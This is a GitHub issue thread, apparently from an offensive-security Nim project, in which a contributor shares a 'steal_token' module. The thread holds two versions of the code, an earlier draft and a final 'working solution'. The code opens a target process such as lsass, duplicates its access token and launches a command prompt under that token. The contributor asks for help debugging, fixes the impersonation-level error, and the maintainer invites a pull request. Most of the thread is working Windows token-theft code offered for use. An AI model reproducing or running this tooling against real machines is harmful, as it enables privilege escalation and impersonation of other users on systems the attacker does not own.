[Contribution]: steal token
rafale0n opened this issue · comments
Hey I was wondering if I could get your help with this one. I have tried to expand on what you have already done and been working on steal_token module for offensive Nim. Here is what I have so far:
import winim
import strutils
proc toString(chars: openArray[WCHAR]): string =
result = ""
for c in chars:
if cast[char](c) == '\0':
break
result.add(cast[char](c))
proc GetLsassPid(name: string): int =
var
entry: PROCESSENTRY32
hSnapshot: HANDLE
entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32))
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
defer: CloseHandle(hSnapshot)
if Process32First(hSnapshot, addr entry):
while Process32Next(hSnapshot, addr entry):
if entry.szExeFile.toString == name:
return int(entry.th32ProcessID)
return 0
#proc GetTokenInformation(TokenHandle: HANDLE;
# TokenInformationClass: TOK_INFO_CLASS;
# TokenInformation: LPVOID;
# TokenInformationLength: DWORD; ReturnLength: PDWORD): WINBOOL {.
# stdcall, dynlib: "advapi32", importc: "GetTokenInformation".}
when isMainModule:
var name: string = readLine(stdin)
let processId: int = GetLsassPid(name)
if not bool(processId):
echo "[X] Unable to find: ", name, " process"
quit(1)
else:
echo "Found: ", name, " with PID: ", processId
var
process_token: HANDLE
duplicateTokenHandle: HANDLE
var hProcess: HANDLE = OpenProcess(MAXIMUM_ALLOWED, false, cast[DWORD](processId));
if not (bool)hProcess:
raise newException(Exception, "Cannot open process ($1)" % [$GetLastError()])
else:
echo "Succeded opening handle on: ", name, " ", (bool)hProcess
echo " \\-- Handle ID is: ", hProcess
var getToken: HANDLE = OpenProcessToken(hProcess, MAXIMUM_ALLOWED, cast[PHANDLE](addr(process_token)))
if not bool(getToken):
raise newException(Exception, "Cannot query tokens ($1)" % [$GetLastError()])
else:
echo "Succeded opening process token: ", (bool)getToken
echo " \\-- Handle ID is: ", getToken
echo " \\-- Process Token ID is: ", process_token
# This is failing with error 1346: Either a required impersonation level was not provided, or the provided impersonation level is invalid.
var tokenDuplication: HANDLE = DuplicateTokenEx(process_token, cast[DWORD](MAXIMUM_ALLOWED), NULL, cast[SECURITY_IMPERSONATION_LEVEL](SecurityImpersonation), cast[TOKEN_TYPE](tokenPrimary), cast[PHANDLE](addr(duplicateTokenHandle)))
if not bool(tokenDuplication):
raise newException(Exception, "Cannot duplicate tokens ($1)" % [$GetLastError()])
else:
echo "TokenDuplciation status: ", bool(tokenDuplication)
At the moment I cannot get DuplicateTokenEx to work and I am not sure what I am doing wrong. It is failing with above error and was wondering if you could ever be so kind to take a look.
Many thanks for everything.
I should mentioned, that I executed following program with Administrative privileges.
Problem solved with changing SecurityImpersonation to securityImpersonation :)
var tokenDuplication = DuplicateTokenEx(process_token, cast[DWORD](MAXIMUM_ALLOWED), NULL, securityImpersonation, cast[TOKEN_TYPE](tokenPrimary), &duplicateTokenHandle)
if not bool(tokenDuplication):
raise newException(Exception, "Cannot duplicate tokens ($1)" % [$GetLastError()])
else:
echo "TokenDuplciation status: ", bool(tokenDuplication)
Here is the working solution:
import winim
import strutils
proc toString(chars: openArray[WCHAR]): string =
result = ""
for c in chars:
if cast[char](c) == '\0':
break
result.add(cast[char](c))
proc GetProcessPid(name: string): int =
var
entry: PROCESSENTRY32
hSnapshot: HANDLE
entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32))
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
defer: CloseHandle(hSnapshot)
if Process32First(hSnapshot, addr entry):
while Process32Next(hSnapshot, addr entry):
if entry.szExeFile.toString == name:
return int(entry.th32ProcessID)
return 0
when isMainModule:
var name: string = readLine(stdin)
let processId: int = GetProcessPid(name)
if not bool(processId):
echo "[X] Unable to find: ", name, " process"
quit(1)
else:
echo "[*] Found ", name, " with PID: ", processId
var
process_token: HANDLE
duplicateTokenHandle: HANDLE
si: STARTUPINFO
pi: PROCESS_INFORMATION
var hProcess: HANDLE = OpenProcess(MAXIMUM_ALLOWED, false, cast[DWORD](processId));
if not (bool)hProcess:
raise newException(Exception, "Cannot open process ($1)" % [$GetLastError()])
else:
echo "[*] Succeeded opening handle on ", name, ": ", (bool)hProcess
echo " \\-- Handle ID is: ", hProcess
var getToken: HANDLE = OpenProcessToken(hProcess, MAXIMUM_ALLOWED, cast[PHANDLE](addr(process_token)))
if not bool(getToken):
raise newException(Exception, "Cannot query tokens ($1)" % [$GetLastError()])
else:
echo "[*] Succeeded opening process token: ", (bool)getToken
echo " \\-- Process Token ID is: ", process_token
var tokenDuplication = DuplicateTokenEx(process_token, MAXIMUM_ALLOWED, NULL, securityImpersonation, tokenPrimary, &duplicateTokenHandle)
if not bool(tokenDuplication):
raise newException(Exception, "Cannot duplicate tokens ($1)" % [$GetLastError()])
else:
echo "[*] Succeeded duplicating ", name, " token: ", bool(tokenDuplication)
var spawnConsole = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_NETCREDENTIALS_ONLY, r"C:\Windows\System32\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);
if not bool(spawnConsole):
raise newException(Exception, "Cannot query tokens ($1)" % [$GetLastError()])
else:
echo "[*] Succeeded creating elevated command prompt: ", bool(spawnConsole)
@rafale0n heya, this is dope! would you mind opening a pull request with this ? would make it easier for me to merge this in.
Cheers!
#52
Here is my contribution if you want...